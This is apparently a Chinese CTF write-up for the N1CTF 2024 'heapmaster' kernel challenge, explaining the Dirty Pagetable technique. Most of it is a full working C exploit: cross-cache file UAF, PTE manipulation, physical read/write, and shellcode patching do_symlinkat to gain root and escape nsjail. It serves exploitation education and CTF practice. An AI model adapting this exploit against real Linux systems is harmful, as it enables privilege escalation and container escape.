Q:我教你PWN用户态栈溢出,GLIBC堆利用,以后做国赛的一把好手。
A:不学,不学。
Q:我教你IO_FILE利用,各种house,Qemuescape,V8利用,你,学不学啊?
A:不学,不学。
Q:(怒砸键盘,转身而去)
(半夜)
Q:(小声说)我教你学内核,恶心的调试,永远喷不到的heapspray,赛时极致的坐牢,enjoy不了的root,你学不学啊
A:对对对,我就想学这个。老师,我以后内核学好的话怎么谢你?
Q:说什么谢不谢的,你以后坑人被骂了,别把老师供出来就行🤣。
1. Dirty Pagetable 介绍
简单来说 该技巧通过操纵用户页表,让攻击者获取到任意物理地址读写的原语
该方法可以:
基于数据(data-only exploitation)就可以完成利用,不同于其他的传统的劫持内核控制流的方法,这种方法能够绕过 CFI、KASLR、SMAP/PAN 等等保护。
该技巧可以用在最新的 linux 内核上。
该技巧可以显著提高基于堆漏洞利用成功的效率。
2. Dirty Pagetable 原理
假设存在一个品相很好的UAF,借此说明其相关利用
1.在包含 uaf object 的 victim slab 上触发 UAF,再将该slab的其他object释放从而被页分配器回收
2.使用用户页表占用原victim slab,如图所示
3.建立写原语去修改页表项,根据文末参考文章可通过file UAF 和 pid UAF去改变 PTE
4.修改 PTE,patch系统调用,如do_symlinkat,从而在非特权进程中直接执行它们进行提权
3.通过file uaf 利用Dirty PageTable
本题将使用file uaf ,其中至少有三种不同的利用方法:
1.第一种利用方法是获取系统中其他新打开的特权文件(如 /etc/crontab)重用释放的受害者文件对象。之后,我们可以编写特权文件并可能获取 root
2.第二种利用方法是攻击系统库或可执行文件的页面缓存。该方法的结果与 Dirtypipe 所做的一样。该方法不涉及争用条件,因此可以稳定使用,这是一个巨大的优势。
3.第三种利用方法是从cross-cache attack
的角度考虑的。以跨缓存攻击的方式利用文件 UAF。在获得 root 之前,需要绕过 KASLR。同时这种利用方式适用于容器逃逸
4.N1ctf2024-heapmaster
作为今年上了black hat的技巧
这道kernel pwn无疑是一道很不错的例题
启动脚本如下
qemu-system-x86_64 \
-kernel bzImage \
-cpu qemu64,+smep,+smap,+rdrand \
-m 512M \
-smp 2 \
-initrd rootfs.cpio \
-append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1 kaslr" \
-drive file=/flag,if=virtio,format=raw,readonly=on \
-monitor /dev/null \
-nographic \
-no-reboot \
静态分析源码
驱动程序单独创建了一个 kmem-cache,0xc0大小 (kmalloc-0x100)
漏洞点
漏洞点位于
cmd=4921中的UAF
利用分析
由于该kmem-cache和file结构体都通过同样的kmalloc-0x100分配,故我们能够通过Cross-Cache Attack将其转化为上文提到过的file uaf
Cross-Cache Attack
先进行堆喷 safenote object,占据足够多的slab后,再将其释放掉,期间释放时用到uaf的释放功能,使slab所在页面最终被Linux中的 buddy system回收
再堆喷 file object,占据原先的 UAF object位置,便能将其转化为file uaf
/**
* STEP.1 Spray the safenote objects
*/
info("STEP.1 Spray safenote structs completely!");
for (int i = 0; i < safenote_SPRAYNUM ; i++)
{
spray_fd[i] = add(i);
if (spray_fd[i] < 0)
err_exit("fail open /.");
}
/**
* STEP.2 Release all the safenote struct to construct Cross Cache Attack
* object: clear the slab page and return it to page allocator
*/
info("STEP.2 Release safenote");
for (int i = 0; i < safenote_SPRAYNUM; i++)
{
if (i == safenote_SPRAYNUM / 2)
{
backdoor(i);
continue;
}
dele(i);
}
puts("[+] Spary FILE");
for (int i = 0; i < N_FILESPRAY; i++)
{
file_spray[i] = open("/tmp/test", O_RDONLY);
if (file_spray[i] < 0)
{
err_exit("open file.");
}
}
info("STEP.3 Release all the filp struct");
dele(safenote_SPRAYNUM / 2);
info("delete uaf success");
for (int i = 0; i < uafnum; i++)
{
uaf_fds[i] = open("/tmp/test", O_WRONLY);
if (uaf_fds[i] < 0)
{
err_exit("open file.");
}
}
int uaf_fd;
for (int i = 0; i < N_FILESPRAY; i++)
{
ssize_t bytes_written = write(file_spray[i], buf, 0x10);
if (bytes_written == 0x10)
{
uaf_fd = file_spray[i];
printf("find uaf_fd %d", uaf_fd);
break;
}
}
期间堆喷拿只读file占据 UAF object后,再利用uaf释放掉占据的结构体,同时再分配只写file占据原位置,通过write操作定位原uaf_fd
堆喷PTE覆盖UAF file
同上述类似步骤,把堆喷的file释放后堆喷PTE 完成cross cache
操作时先通过 mmap 映射得到对应的虚拟地址,这一步内核不会直接分配对应的物理地址空间,而是在执行 *(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
后,会触发缺页,此时内核才会为我们真正分配虚拟地址对应的物理地址空间,并填充页表项,建立虚拟地址和物理地址之间的映射关系。
for (int i = 0; i < N_FILESPRAY; i++)
{
if (uaf_fd == file_spray[i])
continue;
close(file_spray[i]);
}
for (int i = 0; i < uafnum; i++)
{
close(uaf_fds[i]);
}
/**
* 3. Overlap UAF file with PTE
*/
puts("[+] Allocating PTEs...");
info("Spray PTE to occupy victim slab page");
// Allocate many PTEs (1)
for (int i = 0; i < N_PAGESPRAY ; i++)
for (int j = 0; j < 8; j++)
*(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
与前面 file object 那张图比较可以发现,同样的位置已经被页表项填充了
参考下图
建立增原语并定位 victim PTE
这个增原语需要通过 f_count 来实现,其中f_count位于file结构体56 字节到 64 字节处
atomic_long_t f_count; /* 56 8 */
此时这个位置已经被页表项填充了,那么我们可以通过 dup(fd)
,来让 f_count 实现增原语,完成修改页表项的内容,如下图所示为初始情况,每一个页表项对应一个大小为 0x1000 的物理地址空间,此时 victim pte 还是指向自己的 page
当我们调用 dup(fd)
0x1000 次后的 victim pte 指向情况如下图所示,
可以看到此时 victim pte 已经指向了另外一个地址空间,这使得它从用户态访问其内容时就会发生变化
5.再次捕获页表
那这是否意味着不断dup,就可以让页表项指向内核中任意我们想要的物理地址然后AAR/AAW呢?
显然不行 题目提供给我们的资源有限 无法一直dup
那么我们如何完成对 page table 的修改呢?
如果我们 munmap() 另一个有效 PTE 的虚拟页面并触发物理页面的释放呢?是的,我们将获得一个page UAF 之后,如果我们能通过 heap spray 用一个用户页表占据发布的页面,我们就会控制一个用户页表。但是,这个想法在实践中效果并不好,因为在某些设备上,我们几乎无法通过堆喷来占据带有用户页表的发布页面。其根本原因是匿名 mmap() 分配的物理页通常来自内存区的MIGRATE_MOVABLE free_area,而用户页表通常是从内存区的MIGRATE_UNMOVABLE free_area分配的。这使得堆喷涂难以成功。
这里我们就需要用到引文作者的一个办法了
选择 dma-buf 系统堆来分配共享页面以备后用 因为题目为我们提供了使用的权限,并且 dma-buf 的实现相对简单
chmod 666 /dev/dma_heap/system
代码如下:
// Allocate DMA-BUF heap
int dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
err_exit("DMA_HEAP_IOCTL_ALLOC");
通过 dma_buf fd 的 mmap() 将共享页面映射到用户空间。从 dma-buf 系统堆分配的共享页面本质上是从页面分配器分配,并且和 page table是相同 的order
于是 我们在分配PTE时 实际操作是
step.1 堆喷 page table
step.2 申请一块共享页面
step.3 堆喷 page table
/**
* 3. Overlap UAF file with PTE
*/
puts("[+] Allocating PTEs...");
info("Spray PTE to occupy victim slab page");
// Allocate many PTEs (1)
for (int i = 0; i < N_PAGESPRAY / 2; i++)
for (int j = 0; j < 8; j++)
*(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
// Allocate DMA-BUF heap
int dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
err_exit("DMA_HEAP_IOCTL_ALLOC");
printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
// Allocate many PTEs (2)
for (int i = N_PAGESPRAY / 2; i < N_PAGESPRAY; i++)
for (int j = 0; j < 8; j++)
*(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
分配情况:
再重新映射用户空间和内核空间地址(由munmap实现),将 dma_buf 的物理空间映射到用户空间,由于相同order分配,故二者物理空间上是紧邻的
重新映射后:
此时重新映射后的空间对应的是page table,我们可以任意更改他的内容,从而AAR和AAW
/**
* 4. Modify PTE entry to overlap 2 physical pages
*/
// Increment physical address
for (int i = 0; i < 0x1000; i++)
if (dup(uaf_fd) < 0)
err_exit("dup");
puts("[+] Searching for overlapping page...");
// Search for page that overlaps with other physical page
void *evil = NULL;
for (int i = 0; i < N_PAGESPRAY; i++)
{
// We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
if (*(char *)(page_spray[i] + 7 * 0x1000) != 'A' + 7)
{ // +38h: f_count
evil = page_spray[i] + 0x7000;
printf("[+] Found overlapping page: %p\n", evil);
break;
}
}
if (evil == NULL)
err_exit("target not found :(");
// Place PTE entry for DMA buffer onto controllable PTE
puts("[+] Remapping...");
munmap(evil, 0x1000);
void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
*(char *)dmabuf = '0';
AAR & AAW
即便是2024年 我们仍可以在 Linux 和 Windows 上找到一些固定的物理地址
这里的页面始终固定,页表的数据是留下的。(开kaslr和不开的物理内核基址会有0x3000的偏移区别)
/**
* Get physical AAR/AAW
*/
// Corrupt physical address of DMA-BUF
for (int i = 0; i < 0x1000; i++)
if (dup(uaf_fd) < 0)
err_exit("dup");
printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t *)dmabuf);
// Leak kernel physical base
void *wwwbuf = NULL;
*(size_t *)dmabuf = 0x800000000009c067;
for (int i = 0; i < N_PAGESPRAY; i++)
{
if (page_spray[i] == evil)
continue;
if (*(size_t *)page_spray[i] > 0xffff)
{
wwwbuf = page_spray[i];
printf("[+] Found victim page table: %p\n", wwwbuf);
break;
}
}
size_t phys_base = ((*(size_t *)wwwbuf) & ~0xfff) - 0x3a01000 - 0x3000;
printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
nsjail 逃逸
该题目是加了nsjail的 主体绕过的shellcode思路参考[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel,通过任意写去 patch do_symlinkat
系统调用,在此不多赘述
注意其中fs_struct的偏移🤡
init_cred = 0x2a76b00
commit_creds = 0x01c2670
find_task_by_vpid = 0x01b8fa0
init_nsproxy = 0x2a768c0
switch_task_namespaces = 0x01c0ad0
init_fs = 0x2bb5320
copy_fs_struct = 0x045c0f0
kpti_bypass = 0x14011c6
assembly_code = f"""
endbr64
call a
a:
pop r15
sub r15, 0x42cc49
lea rdi, [r15 + {init_cred:#x}]
lea rax, [r15 + {commit_creds:#x}]
call rax
mov edi, 1
lea rax, [r15 + {find_task_by_vpid:#x}]
call rax
mov rdi, rax
lea rsi, [r15 + {init_nsproxy:#x}]
lea rax, [r15 + {switch_task_namespaces:#x}]
call rax
lea rdi, [r15 + {init_fs:#x}]
lea rax, [r15 + {copy_fs_struct:#x}]
call rax
mov rbx, rax
mov rdi, 0x1111111111111111
lea rax, [r15 + {find_task_by_vpid:#x}]
call rax
mov [rax + 0x828], rbx
xor eax, eax
mov [rsp+0x00], rax
mov [rsp+0x08], rax
mov rax, 0x2222222222222222
mov [rsp+0x10], rax
mov rax, 0x3333333333333333
mov [rsp+0x18], rax
mov rax, 0x4444444444444444
mov [rsp+0x20], rax
mov rax, 0x5555555555555555
mov [rsp+0x28], rax
mov rax, 0x6666666666666666
mov [rsp+0x30], rax
lea rax, [r15 + {kpti_bypass:#x}]
jmp rax
int3
"""
最終のexploit
#define _GNU_SOURCE
#include "kernelpwn.h"
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
#define PIPE_SPRAY_NUM 200
#define safenote_SPRAYNUM 0x100
#define N_FILESPRAY 0x100
#define N_PAGESPRAY 0x200
#define uafnum 0x100
int pipe_fd[PIPE_SPRAY_NUM][2];
int spray[0x100];
int fd;
struct argg
{
int idx;
};
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data
{
u64 len;
u32 fd;
u32 fd_flags;
u64 heap_flags;
};
int add(int idx)
{
struct argg arg = {.idx = idx};
return ioctl(fd, 0x1337, &arg);
}
void dele(int idx)
{
struct argg arg = {.idx = idx};
ioctl(fd, 0x1338, &arg);
}
void backdoor(int idx)
{
struct argg arg = {.idx = idx};
ioctl(fd, 0x1339, &arg);
}
static void win()
{
char buf[0x100];
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0)
{
puts("[-] Lose...");
}
else
{
puts("[+] Win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[+] Done");
}
exit(0);
}
char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f,
0x49, 0x81, 0xef, 0x49, 0xcc, 0x42, 0x00, 0x49, 0x8d, 0xbf, 0x00,
0x6b, 0xa7, 0x02, 0x49, 0x8d, 0x87, 0x70, 0x26, 0x1c, 0x00, 0xff,
0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0xa0, 0x8f,
0x1b, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xc0,
0x68, 0xa7, 0x02, 0x49, 0x8d, 0x87, 0xd0, 0x0a, 0x1c, 0x00, 0xff,
0xd0, 0x49, 0x8d, 0xbf, 0x20, 0x53, 0xbb, 0x02, 0x49, 0x8d, 0x87,
0xf0, 0xc0, 0x45, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87,
0xa0, 0x8f, 0x1b, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x28, 0x08,
0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44,
0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33,
0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48,
0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30,
0x49, 0x8d, 0x87, 0xc6, 0x11, 0x40, 0x01, 0xff, 0xe0, 0xcc};
int main()
{
int uaf_fds[uafnum];
int spray_fd[safenote_SPRAYNUM];
int file_spray[N_FILESPRAY];
void *page_spray[N_PAGESPRAY];
size_t buf[0x1000];
save_status();
bind_core(0);
/**
* 0. Just prepare
*/
FILE *file;
const char *filename = "/tmp/test";
pid_t pid = getpid();
fd = open("/dev/safenote", O_RDWR);
if (fd < 0)
err_exit("open /dev/safenote");
file = fopen(filename, "w");
fclose(file);
int dmafd = creat("/dev/dma_heap/system", O_RDWR);
if (dmafd == -1)
err_exit("/dev/dma_heap/system");
info("Prepare pages for PTE");
for (int i = 0; i < N_PAGESPRAY; i++)
{
page_spray[i] = mmap((void *)(0xdead0000UL + i * 0x10000UL),
0x8000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (page_spray[i] == MAP_FAILED)
err_exit("FAILED to mmap many pages");
}
/**
* STEP.1 Spray the safenote objects
*/
info("STEP.1 Spray safenote structs completely!");
for (int i = 0; i < safenote_SPRAYNUM; i++)
{
spray_fd[i] = add(i);
if (spray_fd[i] < 0)
err_exit("fail open /.");
}
/**
* STEP.2 Release all the safenote struct to construct Cross Cache Attack
* object: clear the slab page and return it to page allocator
*/
info("STEP.2 Release safenote");
for (int i = 0; i < safenote_SPRAYNUM; i++)
{
if (i == safenote_SPRAYNUM / 2)
{
backdoor(i);
continue;
}
dele(i);
}
puts("[+] Spary FILE");
for (int i = 0; i < N_FILESPRAY; i++)
{
file_spray[i] = open("/tmp/test", O_RDONLY);
if (file_spray[i] < 0)
{
err_exit("open file.");
}
}
dele(safenote_SPRAYNUM / 2);
info("delete uaf success");
for (int i = 0; i < uafnum; i++)
{
uaf_fds[i] = open("/tmp/test", O_WRONLY);
if (uaf_fds[i] < 0)
{
err_exit("open file.");
}
}
int uaf_fd;
for (int i = 0; i < N_FILESPRAY; i++)
{
ssize_t bytes_written = write(file_spray[i], buf, 0x10);
if (bytes_written == 0x10)
{
uaf_fd = file_spray[i];
printf("find uaf_fd %d", uaf_fd);
break;
}
}
info("Release all the filp struct");
for (int i = 0; i < N_FILESPRAY; i++)
{
if (uaf_fd == file_spray[i])
continue;
close(file_spray[i]);
}
for (int i = 0; i < uafnum; i++)
{
close(uaf_fds[i]);
}
/**
* 3. Overlap UAF file with PTE
*/
puts("[+] Allocating PTEs...");
info("Spray PTE to occupy victim slab page");
// Allocate many PTEs (1)
for (int i = 0; i < N_PAGESPRAY / 2; i++)
for (int j = 0; j < 8; j++)
*(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
// Allocate DMA-BUF heap
int dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
err_exit("DMA_HEAP_IOCTL_ALLOC");
printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
// Allocate many PTEs (2)
for (int i = N_PAGESPRAY / 2; i < N_PAGESPRAY; i++)
for (int j = 0; j < 8; j++)
*(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
/**
* 4. Modify PTE entry to overlap 2 physical pages
*/
// Increment physical address
for (int i = 0; i < 0x1000; i++)
if (dup(uaf_fd) < 0)
err_exit("dup");
puts("[+] Searching for overlapping page...");
// Search for page that overlaps with other physical page
void *evil = NULL;
for (int i = 0; i < N_PAGESPRAY; i++)
{
// We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
if (*(char *)(page_spray[i] + 7 * 0x1000) != 'A' + 7)
{ // +38h: f_count
evil = page_spray[i] + 0x7000;
printf("[+] Found overlapping page: %p\n", evil);
break;
}
}
if (evil == NULL)
err_exit("target not found :(");
// Place PTE entry for DMA buffer onto controllable PTE
puts("[+] Remapping...");
munmap(evil, 0x1000);
void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
*(char *)dmabuf = '0';
/**
* Get physical AAR/AAW
*/
// Corrupt physical address of DMA-BUF
for (int i = 0; i < 0x1000; i++)
if (dup(uaf_fd) < 0)
err_exit("dup");
printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t *)dmabuf);
// Leak kernel physical base
void *wwwbuf = NULL;
*(size_t *)dmabuf = 0x800000000009c067;
for (int i = 0; i < N_PAGESPRAY; i++)
{
if (page_spray[i] == evil)
continue;
if (*(size_t *)page_spray[i] > 0xffff)
{
wwwbuf = page_spray[i];
printf("[+] Found victim page table: %p\n", wwwbuf);
break;
}
}
size_t phys_base = ((*(size_t *)wwwbuf) & ~0xfff) - 0x3a01000 - 0x3000;
printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
info("okok");
/**
* Overwrite and Escaping from nsjail
*/
// 0xffffffff8142cc40 (do_symlinkat)
puts("[+] Overwriting do_symlinkat...");
size_t phys_func = phys_base + 0x42cc40;
*(size_t *)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
void *p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t *)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t *)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t *)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t *)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t *)p = user_sp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t *)p = user_ss;
memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode));
puts("[+] you got it");
printf("%d\n", symlink("/jail/x", "/jail"));
puts("[-] Fail");
}
Reference:
Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup - CTFするぞ